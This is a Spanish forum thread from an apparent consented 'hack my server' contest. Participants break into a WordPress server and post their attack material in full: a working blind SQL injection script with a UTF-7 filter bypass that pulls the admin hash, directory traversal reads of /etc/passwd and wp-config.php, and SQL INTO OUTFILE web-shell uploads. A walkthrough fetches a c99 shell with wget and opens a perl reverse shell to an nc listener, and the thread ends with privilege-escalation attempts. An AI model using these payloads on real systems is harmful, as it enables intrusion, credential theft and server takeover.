char(1,1,1,1) reemplazas los unos por el valor decimal del caracter.

Miren esto:

Código:
whk@whk-machine:~/Escritorio$ php poc.php
Obteniendo hash...
Buscando sobre el caracter 'a'...
Caracter encontrado!, faltan 31 caracteres mas.
Buscando sobre el caracter 'b'...
Buscando sobre el caracter 'c'...
Buscando sobre el caracter 'd'...

xD el hash comienza con a7 y está sacando el resto de los carácteres :P

Acá dejo el script que hice:
Código
  1. <?php
  2.  
  3. echo "Obteniendo hash...\n";
  4. $hash = '';
  5.  
  6. for($n = 1; $n <= 32; $n++){
  7. foreach(array('a','b','c','d','e','f','0','1','2','3','4','5','6','7','8','9') as $caracter){
  8. echo "Buscando sobre el caracter '".$caracter."'...\n";
  9.  
  10. $postdata = 'charset=UTF-7&title= -- a&url= -- a&excerpt= -- a&blog_name=a%2bACc-) union select user_pass from wp_users where ID=1 and SUBSTRING(user_pass, '.$n.', 1)=CHAR('.ord($caracter).') limit 1 -- -';
  11.  
  12. $resultado = file_get_contents('http://vps84472.ovh.net/wp-trackback.php?p=1', false, stream_context_create(array('http' =>
  13. 'method' => 'POST',
  14. 'header' => 'Content-type: application/x-www-form-urlencoded',
  15. 'content' => $postdata
  16. )
  17. )));
  18.  
  19. if(strpos($resultado, 'Duplicate comment') !== false){
  20. /* Carácter encontrado */
  21. $hash .= $caracter;
  22. echo "Caracter encontrado!, faltan ".(32 - $n)." caracteres mas.\n";
  23. break;
  24.  
  25. }else{
  26. /* Carácter no válido */
  27. }
  28.  
  29. }
  30. }
  31.  
  32. echo "Hash: ".$hash."\n";

Con esto en unos 15 minutos mas tengo el hash y el acceso al panel de administración. Ahora debo salir y el fin de semana no se si estaré xD asi que nos vemos otro día.

Edito:
Código:
Buscando sobre el caracter '7'...
Caracter encontrado!, faltan 30 caracteres mas.
Buscando sobre el caracter 'a'...
Buscando sobre el caracter 'b'...
Buscando sobre el caracter 'c'...
Caracter encontrado!, faltan 29 caracteres mas.
Buscando sobre el caracter 'a'...
Buscando sobre el caracter 'b'...
Buscando sobre el caracter 'c'...

xD

(http://i.elhacker.net/i?i=m7v3wRRs4RQk6HK_Nm9XgGVo)


Título: Re: Hack my server II
Publicado por: MinusFour en 2 Agosto 2014, 02:00 am
char(1,1,1,1) reemplazas los unos por el valor decimal del caracter.

Miren esto:

Código:
whk@whk-machine:~/Escritorio$ php poc.php
Obteniendo hash...
Buscando sobre el caracter 'a'...
Caracter encontrado!, faltan 31 caracteres mas.
Buscando sobre el caracter 'b'...
Buscando sobre el caracter 'c'...
Buscando sobre el caracter 'd'...

xD el hash comienza con a7 y está sacando el resto de los carácteres :P

Acá dejo el script que hice:
Código
  1. <?php
  2.  
  3. echo "Obteniendo hash...\n";
  4. $hash = '';
  5.  
  6. for($n = 1; $n <= 32; $n++){
  7. foreach(array('a','b','c','d','e','f','0','1','2','3','4','5','6','7','8','9') as $caracter){
  8. echo "Buscando sobre el caracter '".$caracter."'...\n";
  9.  
  10. $postdata = 'charset=UTF-7&title= -- a&url= -- a&excerpt= -- a&blog_name=a%2bACc-) union select user_pass from wp_users where ID=1 and SUBSTRING(user_pass, '.$n.', 1)=CHAR('.ord($caracter).') limit 1 -- -';
  11.  
  12. $resultado = file_get_contents('http://web/wp-trackback.php?p=1', false, stream_context_create(array('http' =>
  13. 'method' => 'POST',
  14. 'header' => 'Content-type: application/x-www-form-urlencoded',
  15. 'content' => $postdata
  16. )
  17. )));
  18.  
  19. if(strpos($resultado, 'Duplicate comment') !== false){
  20. /* Carácter encontrado */
  21. $hash .= $caracter;
  22. echo "Caracter encontrado!, faltan ".(32 - $n)." caracteres mas.\n";
  23. break;
  24.  
  25. }else{
  26. /* Carácter no válido */
  27. }
  28.  
  29. }
  30. }
  31.  
  32. echo "Hash: ".$hash."\n";

Con esto en unos 15 minutos mas tengo el hash y el acceso al panel de administración. Ahora debo salir y el fin de semana no se si estaré xD asi que nos vemos otro día.

Edito:
Código:
Buscando sobre el caracter '7'...
Caracter encontrado!, faltan 30 caracteres mas.
Buscando sobre el caracter 'a'...
Buscando sobre el caracter 'b'...
Buscando sobre el caracter 'c'...
Caracter encontrado!, faltan 29 caracteres mas.
Buscando sobre el caracter 'a'...
Buscando sobre el caracter 'b'...
Buscando sobre el caracter 'c'...

xD

Por cierto esta versión de PHP es 5.5 no tiene magic quotes xD.

Edit: Hay un archivo de phpinfo ahí por si lo quieren revisar:

http://web/wp-content/uploads/phpinfo.php

Edit2: WHK dejaste la ip otra vez xD.


Título: Re: Hack my server II
Publicado por: WHK en 2 Agosto 2014, 02:07 am
Pues cuando usaba comillas dobles para la consulta sql me arrojaba backslashses, talves era el escape de alguna funcion de wordpress. De todas maneras ya está solucionado, me faltan solo 15 carácteres, ya debo irme, adios.

Mi ip no importa, se las regalo xd, el día en que tenga que hacerlo en un sitio mas serio no lo voy a hacer desde mi ip o desde mi red :P


Título: Re: Hack my server II
Publicado por: WHK en 2 Agosto 2014, 02:13 am
hash encontrado: a7c85c1a6114797d06425195899a8abe

Método rápido: reversar el md5:
http://www.hashkiller.co.uk/md5-decrypter.aspx
We found 1 hashes! [Timer: 134 m/s] Please find them below...
a7c85c1a6114797d06425195899a8abe MD5 : 2bc11f

El método lento sería averiguar la estructura de la cookie e inyectarme la cookie con el hash en el navegador y me autenticaría sea cual sea la contraseña (en el caso de que el pass fuera imposible de reversar).

Ahora si adios xd, pd: prueben el script del template y el del backup para ejecutar código.
http://web.com/?p=21

Saludos.


Título: Re: Hack my server II
Publicado por: MinusFour en 2 Agosto 2014, 02:18 am
Pues cuando usaba comillas dobles para la consulta sql me arrojaba backslashses, talves era el escape de alguna funcion de wordpress. De todas maneras ya está solucionado, me faltan solo 15 carácteres, ya debo irme, adios.

Mi ip no importa, se las regalo xd, el día en que tenga que hacerlo en un sitio mas serio no lo voy a hacer desde mi ip o desde mi red :P

Si no es tu ip es la de dimitrix XDDDDDDDDDD

Edit: Alguien ya esta haciendo su conexión en reversa y de paso se borro mi shell eh XDDDDDDDDDDDDDDDDDDD

No seais tan cabrones, si esto solo es para aprender LOL


Título: Re: Hack my server II
Publicado por: dRak0 en 2 Agosto 2014, 02:36 am
-rwsr-xr-x 1 root root 44176 May 16  2013 /bin/ping
-rwsr-xr-x 1 root root 94792 Jun 12  2013 /bin/mount
-rwsr-xr-x 1 root root 44688 May 16  2013 /bin/ping6
-rwsr-xr-x 1 root root 36936 Jul 26  2013 /bin/su
-rwsr-xr-x 1 root root 69120 Jun 12  2013 /bin/umount
-rwxr-sr-x 1 root shadow 35536 May 18  2013 /sbin/unix_chkpwd
-rwsr-xr-x 1 root root 121112 Mar 11 08:24 /usr/bin/sudo
-rwsr-xr-x 1 root root 32464 Jul 26  2013 /usr/bin/newgrp
-rwxr-sr-x 1 root ssh 129120 Apr 29 19:54 /usr/bin/ssh-agent
-rwsr-sr-x 1 root mail 89216 Jun  8  2012 /usr/bin/procmail
-rwsr-xr-x 1 root root 23104 May 16  2013 /usr/bin/traceroute6.iputils
-rwxr-sr-x 1 root shadow 23360 Jul 26  2013 /usr/bin/expiry
-rwsr-xr-x 1 root root 68152 Jul 26  2013 /usr/bin/gpasswd
-rwxr-sr-x 1 root tty 19024 Jun 12  2013 /usr/bin/wall
-rwxr-sr-x 1 root shadow 54968 Jul 26  2013 /usr/bin/chage
-rwsr-xr-x 1 root root 41336 Jul 26  2013 /usr/bin/chsh
-rwxr-sr-x 1 root mail 18672 Jun  8  2012 /usr/bin/lockfile
-rwxr-sr-x 1 root crontab 35984 Feb  9  2013 /usr/bin/crontab
-rwsr-xr-x 1 root root 47032 Jul 26  2013 /usr/bin/passwd
-rwsr-xr-x 1 root root 18928 May 16  2013 /usr/bin/arping
-rwxr-sr-x 1 root tty 14688 Jun  4  2013 /usr/bin/bsd-write
-rwsr-xr-x 1 root root 46424 Jul 26  2013 /usr/bin/chfn
-rwxr-sr-x 1 root utmp 380088 Aug 19  2013 /usr/bin/screen
-rwxr-sr-x 1 root mlocate 39520 Jun 20  2013 /usr/bin/mlocate
-rwxr-sr-x 1 root mail 14848 Jun  5  2013 /usr/bin/dotlockfile
-rwsr-xr-x 1 root root 10208 Sep 10  2013 /usr/sbin/sensible-mda
-rwsr-sr-x 1 libuuid libuuid 18904 Jun 12  2013 /usr/sbin/uuidd
-rwxr-sr-x 1 root smmsp 82816 Sep 10  2013 /usr/lib/sm.bin/mailstats
-rwxr-sr-x 1 root smmsp 851840 Sep 10  2013 /usr/lib/sm.bin/sendmail
-rwsr-xr-x 1 root root 249704 Apr 29 19:54 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 10368 Oct 12  2013 /usr/lib/pt_chown

A escalar privilegios bitchess...!


Título: Re: Hack my server II
Publicado por: xustyx en 2 Agosto 2014, 02:46 am
Yo piro a sobar ya estoy rebentao encima no se por que cojones no me piya la reverse shell... tengo abierta hasta la puerta de mi casa XD

Y bueno con la shell que ya hay se puede intentar buscar un exploit local que los hay a patadas.

uname -a

Hasta mañana!!

PD: Mañana saco al kali a pasear.


Título: Re: Hack my server II
Publicado por: MinusFour en 2 Agosto 2014, 03:17 am
Yo ya estoy conectado pero no será tan fácil como compilar un exploit y listo, porque en primera no hay gcc xDDD

Por cierto, hay alguien que tiene acceso al servidor que está poniendo cosas a las shells LOL y es pura joda pero bueno xD.


Título: Re: Hack my server II
Publicado por: #!drvy en 2 Agosto 2014, 03:35 am
llamen a dimitrix, que instale gcc ·_·
xD

Saludos


Título: Re: Hack my server II
Publicado por: MinusFour en 2 Agosto 2014, 03:51 am
llamen a dimitrix, que instale gcc ·_·
xD

Saludos

Yo ya he probado mi primer exploit, lo he compilado en mi maquina y lo he corrido pero... el exploit no es para debian/slackware xD.


Título: Re: Hack my server II
Publicado por: dimitrix en 2 Agosto 2014, 05:14 am
Puntos actualizados.

Va ganando #!drvy con 7 puntos y le sigue WHK con 6 puntos.

Si alguien tiene una duda/queja sobre los puntos, puede poner una reclamación en el WP
  :xD


Título: Re: Hack my server II
Publicado por: dRak0 en 2 Agosto 2014, 07:35 am
No modifiques nada dimitrix.


Título: Re: Hack my server II
Publicado por: WHK en 2 Agosto 2014, 08:11 am
Hola, llegué xD y me voy a acostar jajaja.

A traves del plugin de backup utilizo el bug de directory traversal que expliqué anteriormente:

http://web.com/wp-admin/edit.php?page=wp-db-backup.php&backup=../../../../../../../../../../../../etc/passwd

Código:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
fetchmail:x:101:65534::/var/lib/fetchmail:/bin/false
sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin
syslog:x:103:106::/home/syslog:/bin/false
klog:x:104:107::/home/klog:/bin/false
bind:x:105:109::/var/cache/bind:/bin/false
smmta:x:106:110:Mail Transfer Agent,,,:/var/lib/sendmail:/bin/false
smmsp:x:107:111:Mail Submission Program,,,:/var/lib/sendmail:/bin/false
landscape:x:108:112::/var/lib/landscape:/bin/false
mysql:x:109:113:MySQL Server,,,:/nonexistent:/bin/false

También puedes descargar la db completa con el mismo plugin y ver privilegios extras.

http://web.com/wp-admin/edit.php?page=wp-db-backup.php&backup=../../wp-config.php
Código:
<?php
// ** MySQL settings ** //
define('DB_NAME', 'hackme2');    // The name of the database
define('DB_USER', 'root');     // Your MySQL username
define('DB_PASSWORD', ''); // ...and password
define('DB_HOST', 'localhost');    // 99% chance you won't need to change this value

// You can have multiple installations in one database if you give each a unique prefix
$table_prefix  = 'wp_';   // Only numbers, letters, and underscores please!

// Change this to localize WordPress.  A corresponding MO file for the
// chosen language must be installed to wp-includes/languages.
// For example, install de.mo to wp-includes/languages and set WPLANG to 'de'
// to enable German language support.
define ('WPLANG', '');

/* That's all, stop editing! Happy blogging. */

define('ABSPATH', dirname(__FILE__).'/');
require_once(ABSPATH.'wp-settings.php');
?>

Mañana veremos si podemos hacer una conexión directa al mysql server o si las credenciales sirven para algo mas que solo el sql.


Título: Re: Hack my server II
Publicado por: MinusFour en 2 Agosto 2014, 08:57 am
No creo que nadie lo haya mencionado pero esta usando la versión 13.10 de Ubuntu:

Código:
os_type=debian-linux
os_version=8.0
real_os_type=Ubuntu Linux
real_os_version=13.10


Título: Re: Hack my server II
Publicado por: #!drvy en 2 Agosto 2014, 10:39 am
Bueno, he intentado unos cuantos 'exploits' para escalar privilegios pero nada xD


Así que voy a poner como conseguir un reverse shell para los que estan perdidos...

Tenemos acceso a phpmyadmin y tenemos todos los privilegios. Podemos usar dumpfile para crear archivos y nuestro amable administrador, nos ha dado permisos de escritura en la carpeta uploads de wordpress.

Nos vamos phpmyadmin, y ejecutamos una query (pestaña SQL) simple.
Código
  1. SELECT '<?php echo "<pre>",system($_GET["q"]),"</pre>"; die(); ?>' INTO dumpfile '/var/www/wp-content/uploads/dshell.php'

Esto creara un archivo en /uploads (dshell.php) con una shell básica que permite ejecutar comandos del sistema directamente. Ahora podemos navegar hasta ese archivo y probar..

Código
  1. http://host.net/wp-content/uploads/dshell.php?q=cat /etc/passwd

Si todo ha ido bien, nos muestra el contenido de /etc/passwd.

Bien, ya tenemos una shell básica pero los permisos son de mysql en vez de www-data. Ademas, nuestra shell es bastante primitiva, cosa que no nos interesa.

Por eso, podríamos descargar la C99. Podríamos usar wget...

Código
  1. http://host.net/wp-content/uploads/dshell.php?q=wget -O dshell2.php 'http://www.c99txt.net/s/c99.txt'

Esto descargara un c99.txt del c99txt.net y lo guardara como dshell2.php.. pero ademas, puesto que lo ejecutamos desde PHP, su dueño sera www-data.

Si abrimos dshell2.php se nos abrira una bonita C99. Desde aquí vamos a proceder a descargar una shell inversa. Primero tenemos que descargar la propia shell. Una bastante comun es http://pentestmonkey.net/tools/web-shells/perl-reverse-shell

La descargamos, descomprimimos el .pl y lo vamos a editar. Tenemos que cambiar

Código
  1. my $ip = '127.0.0.1';
  2. my $port = 1234;

Por nuestros datos, es decir $ip por nuestra IP y $port por el puerto donde queremos que se conecte. Una vez editada, copiamos el contenido, nos vamos a la c99 y abajo en :: Make File ::, añadimos (a lo que ya hay), reverse.pl quedando así:
Código
  1. /var/www/wp-content/uploads/reverse.pl

Le damos al boton Create, en el textbox que aparecerá, pegamos la shell y le damos al boton Save.

Ahora, abajo en :: Command execute :: a la izquierda en la casilla ponemos chmod 777 reverse.pl, esto le dara permisos globales de ejecucion/escritura/lectura a la shell.


En nuestro sistema, tenemos que hacer que netcat escuche. Si no lo tienen instalado, busquen en google como instalarlo.
Código
  1. nc -l -v -n -p 1337

El -p 1337 es el puerto donde va a escuchar netcat por la shell. Lo ejecutamos en nuestra maquina, nos vamos a la C99 y en la casilla de comandos ejecutamos
Código
  1. perl reverse.pl

Si todo sale bien nos devolverá algo así..

Código:
Content-Length: 0
Connection: close
Content-Type: text/html

Content-Length: 45
Connection: close
Content-Type: text/html

Sent reverse shell to NuestraIP:ElPuerto<p>

Y si miramos a la terminal.. veremos

(http://i.elhacker.net/i?i=EKQuHBZ5Pq3dFCdMX-2uuWVo)

Aquí pueden meter cualquier comando que soporte el server.. el caso es que tengan permisos xD



Por otra parte, voy a listar los exploits que he probado/intentado..

half-nelson.c - http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3848
Es fácil de encontrar en google... el problema es que aunque compile bien, falla cuando se ejecuta en el server..
Me tira [-] symbol table not available, aborting!

jessica_biel_naked_in_my_bed.c - http://downloads.securityfocus.com/vulnerabilities/exploits/27704.c
No me llega a compilar :/
27704.c:30:22: fatal error: asm/page.h: No such file or directory

14601.c - http://1337day.com/exploit/14601
Compila y ejecuta.. pero ahí se queda :/
--all-symbols < in.map > out.S = in.map no existe ·_·

59846.c - http://downloads.securityfocus.com/vulnerabilities/exploits/59846.c
No consigo compilar :/ No vi que usaba gcc 4.6 xD
gcc-4.6 -O2 59846.c && ./bb.out
Pero a la hora de ejecutar...
bb.out: 59846.c:51: sheep: Assertion `!close(fd)' failed.

59846-1.c - http://downloads.securityfocus.com/vulnerabilities/exploits/59846-1.c
Tampoco :/

59846-2.c - http://downloads.securityfocus.com/vulnerabilities/exploits/59846-2.c
Compila pero... es para Ubuntu 12.04... y a la hora de ejecutar
/usr/sbin/apache: 4: ./testaa: Permission denied | www-data/www-data    -r----x--t
Se vuelve tonto..


Saludos


Título: Re: Hack my server II
Publicado por: Pox1 en 2 Agosto 2014, 12:06 pm
Holas

A la mela mucho por aprender, me envías la IP porfa.

Saludos


Título: Re: Hack my server II
Publicado por: xustyx en 2 Agosto 2014, 13:44 pm
XDDDD uploads tiene que estar petao de shells ya... weno entonces esta como lo dejemos ayer??? weno drvy ha ido un poco más lejos consiguiendo la reverse cosa que el superchachy livebox que use tiene pinta de no gustarle las conexiones, ni nat ni dmz ni nada ...

Bueno voy a instalar un kali o traerme mi PC para ir un poco mas fluido taluego.


Título: Re: Hack my server II
Publicado por: ivancea96 en 2 Agosto 2014, 15:21 pm
+100 puntos a quien encuentre user y pass de foro.elhacker.net de dimitrix en su server :3


Título: Re: Hack my server II
Publicado por: WHK en 2 Agosto 2014, 16:15 pm
vamos, tienen acceao a una inyeccion sql como root, desde ahi pueden hacer lo que quieran, yo no lo he probado porque no he estado en mi casa. Tienen privilegios escribiendo archivos con into out file? han intentado sobreescribir binarios con permisos de root? o tendra permisos propios?

han revisado el directorio /home/ por si hay binarios con instrucciones para escalar privilegios?


Título: Re: Hack my server II
Publicado por: ccrunch en 2 Agosto 2014, 16:28 pm
I want the IP address.


Título: Re: Hack my server II
Publicado por: MinusFour en 2 Agosto 2014, 18:52 pm
vamos, tienen acceao a una inyeccion sql como root, desde ahi pueden hacer lo que quieran, yo no lo he probado porque no he estado en mi casa. Tienen privilegios escribiendo archivos con into out file? han intentado sobreescribir binarios con permisos de root? o tendra permisos propios?

han revisado el directorio /home/ por si hay binarios con instrucciones para escalar privilegios?

Código:
mysql     4586  0.1  2.6 785948 27600 ?        Ssl  Jul30   3:46 /usr/sbin/mysqld

No creo que sea root del sistema, solo del DBMS. El proceso está pegado al usuario MySQL. No hay nada en home.

Hay un proceso de apache corriendo como root:

Código:
root      6893  0.0  0.3 313920  3284 ?        Ss   Jul30   0:16 /usr/sbin/apache2 -k start

Me imagino que es el que hace el spawn de los servers y no creo que puedas suplantar esos privilegios. Estaba pensando que quizás haya algún modulo de apache que pudiera ayudar a suplantar la identidad del root pero lo más probable es que termine ejecutando con los procesos que spawnea el root como www-data.

Yo he tratado un monton de exploits y nada. Ubuntu 13.10 salío hace como 9 meses y la mayoría de los exploits que me he encontrado son viejos del 2010 y así... Yo diría que ya los han parchado pero no puedo estar seguro hasta compilarlos en una maquina igual o en el host.

Cosas que he probado,

Crontab está corriendo como root y aquí están los archivos que utiliza:

Código:
$ ls -la /etc/cron*
-rw-r--r-- 1 root root  719 Jul 30 13:15 /etc/crontab

/etc/cron.d:
total 20
drwxr-xr-x  2 root root 4096 Jul 30 22:56 .
drwxr-xr-x 89 root root 4096 Jul 30 23:01 ..
-rw-r--r--  1 root root  102 Feb  9  2013 .placeholder
-rw-r--r--  1 root root  510 Jul  7 13:08 php5
-rw-r--r--  1 root root 2321 Jul 30 13:15 sendmail

/etc/cron.daily:
total 84
drwxr-xr-x  2 root root  4096 Jul 30 23:00 .
drwxr-xr-x 89 root root  4096 Jul 30 23:01 ..
-rw-r--r--  1 root root   102 Feb  9  2013 .placeholder
-rwxr-xr-x  1 root root   633 Mar 19 16:57 apache2
-rw-r--r--  1 root root 15488 Sep 11  2013 apt
-rwxr-xr-x  1 root root    77 Sep  2  2013 apt-show-versions
-rwxr-xr-x  1 root root   314 Sep 23  2013 aptitude
-rw-r--r--  1 root root   355 Jun  4  2013 bsdmainutils
-rw-r--r--  1 root root   384 May 29  2013 cracklib-runtime
-rw-r--r--  1 root root   256 Oct  4  2013 dpkg
-rwxr-xr-x  1 root root   372 Nov 30  2012 logrotate
-rw-r--r--  1 root root  1365 Jun 28  2013 man-db
-rw-r--r--  1 root root   435 Jun 20  2013 mlocate
-rw-r--r--  1 root root   249 Jul 26  2013 passwd
-rw-r--r--  1 root root   349 Dec 27  2012 quota
-rw-r--r--  1 root root  3285 Sep 10  2013 sendmail
-rwxr-xr-x  1 root root  1309 Nov 17  2012 sysklogd
-rwxr-xr-x  1 root root   214 Nov 13  2013 update-notifier-common

/etc/cron.hourly:
total 12
drwxr-xr-x  2 root root 4096 Dec 18  2013 .
drwxr-xr-x 89 root root 4096 Jul 30 23:01 ..
-rw-r--r--  1 root root  102 Feb  9  2013 .placeholder

/etc/cron.monthly:
total 12
drwxr-xr-x  2 root root 4096 Dec 18  2013 .
drwxr-xr-x 89 root root 4096 Jul 30 23:01 ..
-rw-r--r--  1 root root  102 Feb  9  2013 .placeholder

/etc/cron.weekly:
total 28
drwxr-xr-x  2 root root 4096 Dec 26  2013 .
drwxr-xr-x 89 root root 4096 Jul 30 23:01 ..
-rw-r--r--  1 root root  102 Feb  9  2013 .placeholder
-rwxr-xr-x  1 root root  730 Sep 18  2013 apt-xapian-index
-rw-r--r--  1 root root  907 Jun 28  2013 man-db
-rw-r--r--  1 root root 1220 Nov 17  2012 sysklogd
-rwxr-xr-x  1 root root  211 Nov 13  2013 update-notifier-common

Me llamo la atención el de PHP5:

Código:
$ cat /etc/cron.d/php5
# /etc/cron.d/php5: crontab fragment for php5
#  This purges session files older than X, where X is defined in seconds
#  as the largest value of session.gc_maxlifetime from all your php.ini
#  files, or 24 minutes if not defined.  See /usr/lib/php5/maxlifetime

# Look for and purge old sessions every 30 minutes
09,39 *     * * *     root   [ -x /usr/lib/php5/maxlifetime ] && [ -x /usr/lib/php5/sessionclean ] && [ -d /var/lib/php5 ] && /usr/lib/php5/sessionclean /var/lib/php5 $(/usr/lib/php5/maxlifetime)

Si maxlifetime hubiese sido un archivo para escribir, creo que se hubiera podido escribir un archivo con el SUID pero nada... ni sessionclean, ni php5, ni maxlifetime.

El archivo de sendmail no tiene cron jobs activos que haya visto y no hay nada escribible en las carpetas cron ni en sus respectivos scripts. Ni siquiera el crontab que ejecuta los scripts en daily, weekly, monthly, etc.

Asi que descarto cron para ganar privilegios de root.

Lo único que se me ocurrio después es tratar de vulnerar otros servicios tipo root, parece que webmin está corriendo como root bajo perl. Entonces, quizás puedo vulnerar Webmin? Da la casualidad que mucho de los archivos en /usr/share/webmin tienen permisos de ejecución en others (o+x) y puedo correrlos. Hay uno que me llamo la atención:

Código:
$ stat changepass.pl
  File: 'changepass.pl'
  Size: 2220       Blocks: 8          IO Block: 4096   regular file
Device: 1eh/30d Inode: 17306810    Links: 1
Access: (0755/-rwxr-xr-x)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2014-08-01 15:08:10.797120681 -0400
Modify: 2014-05-22 12:47:39.000000000 -0400
Change: 2014-07-30 23:01:13.898815137 -0400
 Birth: -

Lo leo y dice esto:

Código:
$ head changepass.pl
#!/usr/bin/perl
# changepass.pl
# Script for the user to change their webmin password

# Check command line arguments
usage() if (@ARGV != 3);
($config, $user, $pass) = @ARGV;

Puedo correrlo ok, no tengo permisos de root en el archivo como es de suponerse (xD)

Código:
$ perl changepass.pl /etc/webmin root derp
Failed to open /etc/webmin/miniserv.conf : Permission denied
Maybe /etc/webmin is not the Webmin config directory.

Nada...

Hay muchos archivos que se pueden ejecutar en el webmin pero dudo mucho que sirvan de algo si no estás de root.

Por cierto, carpetas asociadas con webmin:

Código:
/var/webmin <-Logs
/etc/webmin <-Configuracion
/usr/share/webmin <-Archivos del Webmin

Estuve viendo la configuración del SSH y usan los logins del sistema me parece, no vi nada de disallow root login así que me imagino que es posible loguearse como root en SSH. Por cierto usan PAM y tambien le he dado una vista a /etc/pam.d y bueno no encontre nada que me ayudara ahí.

Archivos con el Sticky bit del root

Código:
-rwsr-xr-x 1 root 44176 May 16  2013 /bin/ping
-rwsr-xr-x 1 root 94792 Jun 12  2013 /bin/mount
-rwsr-xr-x 1 root 44688 May 16  2013 /bin/ping6
-rwsr-xr-x 1 root 36936 Jul 26  2013 /bin/su
-rwsr-xr-x 1 root 69120 Jun 12  2013 /bin/umount
-rwxr-sr-x 1 shadow 35536 May 18  2013 /sbin/unix_chkpwd
-rwsr-xr-x 1 root 121112 Mar 11 08:24 /usr/bin/sudo
-rwsr-xr-x 1 root 32464 Jul 26  2013 /usr/bin/newgrp
-rwxr-sr-x 1 ssh 129120 Apr 29 19:54 /usr/bin/ssh-agent
-rwsr-sr-x 1 mail 89216 Jun  8  2012 /usr/bin/procmail
-rwsr-xr-x 1 root 23104 May 16  2013 /usr/bin/traceroute6.iputils
-rwxr-sr-x 1 shadow 23360 Jul 26  2013 /usr/bin/expiry
-rwsr-xr-x 1 root 68152 Jul 26  2013 /usr/bin/gpasswd
-rwxr-sr-x 1 tty 19024 Jun 12  2013 /usr/bin/wall
-rwxr-sr-x 1 shadow 54968 Jul 26  2013 /usr/bin/chage
-rwsr-xr-x 1 root 41336 Jul 26  2013 /usr/bin/chsh
-rwxr-sr-x 1 mail 18672 Jun  8  2012 /usr/bin/lockfile
-rwxr-sr-x 1 crontab 35984 Feb  9  2013 /usr/bin/crontab
-rwsr-xr-x 1 root 47032 Jul 26  2013 /usr/bin/passwd
-rwsr-xr-x 1 root 18928 May 16  2013 /usr/bin/arping
-rwxr-sr-x 1 tty 14688 Jun  4  2013 /usr/bin/bsd-write
-rwsr-xr-x 1 root 46424 Jul 26  2013 /usr/bin/chfn
-rwxr-sr-x 1 utmp 380088 Aug 19  2013 /usr/bin/screen
-rwxr-sr-x 1 mlocate 39520 Jun 20  2013 /usr/bin/mlocate
-rwxr-sr-x 1 mail 14848 Jun  5  2013 /usr/bin/dotlockfile
-rwsr-xr-x 1 root 10208 Sep 10  2013 /usr/sbin/sensible-mda
-rwxr-sr-x 1 smmsp 82816 Sep 10  2013 /usr/lib/sm.bin/mailstats
-rwxr-sr-x 1 smmsp 851840 Sep 10  2013 /usr/lib/sm.bin/sendmail
-rwsr-xr-x 1 root 249704 Apr 29 19:54 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root 10368 Oct 12  2013 /usr/lib/pt_chown

Intente agregarme al group de root con gpasswd pero no me dejo xD, lo más obvio pero bueno, debe haber algun otro fichero que nos permita hacer algo valioso con el root. Y parece que instalaron GCC pero lo borraron o no se.

Código:
$ whereis gcc
gcc: /usr/lib/gcc

No hay nada en la carpeta xD.


Título: Re: Hack my server II
Publicado por: #!drvy en 2 Agosto 2014, 22:16 pm
¿ Consiguieron instalar el gcc en /tmp ? Muy buena esa xD

Saludos


Título: Re: Hack my server II
Publicado por: xustyx en 2 Agosto 2014, 22:29 pm
¿ Consiguieron instalar el gcc en /tmp ? Muy buena esa xD

Saludos

No solo lo descargue he intente instalar pero no pude.... A parta la carpeta de webmin ya no tiene permisos de lectura :S y ya no se que hacer.

Siempre se puede montar una maquina con el mismo so y compilar exploits pero me da palo.


Título: Re: Hack my server II
Publicado por: MinusFour en 2 Agosto 2014, 22:43 pm
La verdad serías mas interesante conseguir root sin exploits, pero bueno, no puedo decir que yo no lo haya intentado xDDD.

Encima, esto no es garantía que funcionen exactamente igual en el host y es una distro que no ha salido hace mucho y quien sabe si le hayan puesto parches ya.


Título: Re: Hack my server II
Publicado por: WHK en 3 Agosto 2014, 01:42 am
Logré ejecutar una shell en php sin usar el phpmyadmin, unicamente usando la inyección SQL.

recordemos que estamos usando utf7 para la inyeción, no caracteres normales, asi que si escribimos las comillas en utf7 estas no se escaparán con backslashses:

Código:
POST /wp-trackback.php?p=1 HTTP/1.1
Connection: close
Host: web.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 197

charset=UTF-7&title= -- a&url= -- a&excerpt= -- a&blog_name=a%2bACc-) union select CONCAT(CHAR(60),%2bACc-?php echo 99;%2bACc-) INTO OUTFILE %2bACc-/var/www/wp-content/uploads/whk5.php%2bACc- -- -

http://web.com/wp-content/uploads/whk5.php
Código:
99

:D

Por alguna razón cuando escribía el carácter "<" se cortaba el string de la inyección, lo mismo cuando lo escribia en utf7, supongo que era algun sistema de protección, entonces... como rayos podía comenzar un script en php? fácil, usando concat y crah con el valor decimal del carácter "<", por lo cual ese filtro solo busca strings en plano y no codificados, asi que es cuestion de codificar lo que sea para bypasear todo filtro de carácteres excepto la comilla por utf7.

Asi que ahora lanzo mi shell directa desde la inyección y desde ahi paso a tratar de ejecutar código. el phpinfo() está deshabilitado.

http://web.com/wp-content/uploads/whk7.php?val=system%28%27id%27%29;
Código:
uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Código:
ps -aux
Código:
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.0  26252   572 ?        Ss   Jul30   0:00 init
root         2  0.0  0.0      0     0 ?        S    Jul30   0:00 [kthreadd/84472]
root         3  0.0  0.0      0     0 ?        S    Jul30   0:00 [khelper/84472]
